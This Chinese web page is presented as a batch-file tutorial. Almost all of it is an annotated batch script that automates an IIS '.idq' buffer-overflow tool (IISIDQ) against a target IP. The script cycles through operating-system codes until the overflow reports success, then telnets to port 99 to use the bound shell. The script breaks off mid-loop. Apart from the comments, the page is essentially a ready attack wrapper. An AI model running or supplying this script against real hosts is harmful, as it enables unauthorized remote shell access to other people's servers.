经过整理的一些dos/bat批处理教程

2019-01-30 16:42:23于海丽

if not EXIST iisidq.exe goto file  /*同例一
if %1 == "" goto error        /*同例一
ping %1 -n 1 | find "Received = 1"  /*同例一
if errorlevel 1 goto error1      /*同例一
set b=%1      /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0        /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。
:no          /*no段开始
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。
if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其
if %a%==2 set d=2 /*变动。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0          /*变量传递完成后转到标志0处运行
:1
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......
:0            /*标志0开始
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)
if errorlevel 1 goto 1        /*如果没有good字符串则没有发送成跳
/*转标志1处继续尝试发送
ping 127.0.0.1 -n 8 >nul      /*ping自己8次相当于延时8秒不显示执
/*行结果
echo 正在执行第%d%项!      /*报告正在溢出的操作系统类型
telnet %b% 99            /*连接溢出端口
echo.                /*显示一个空行
if %d%==14 goto error1  /*如果操作系统类型为14则跳转error1处(循环出口)
if %d%==13 set a=11        /*开始用计数器对操作系统代码重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
相关文章 大家在看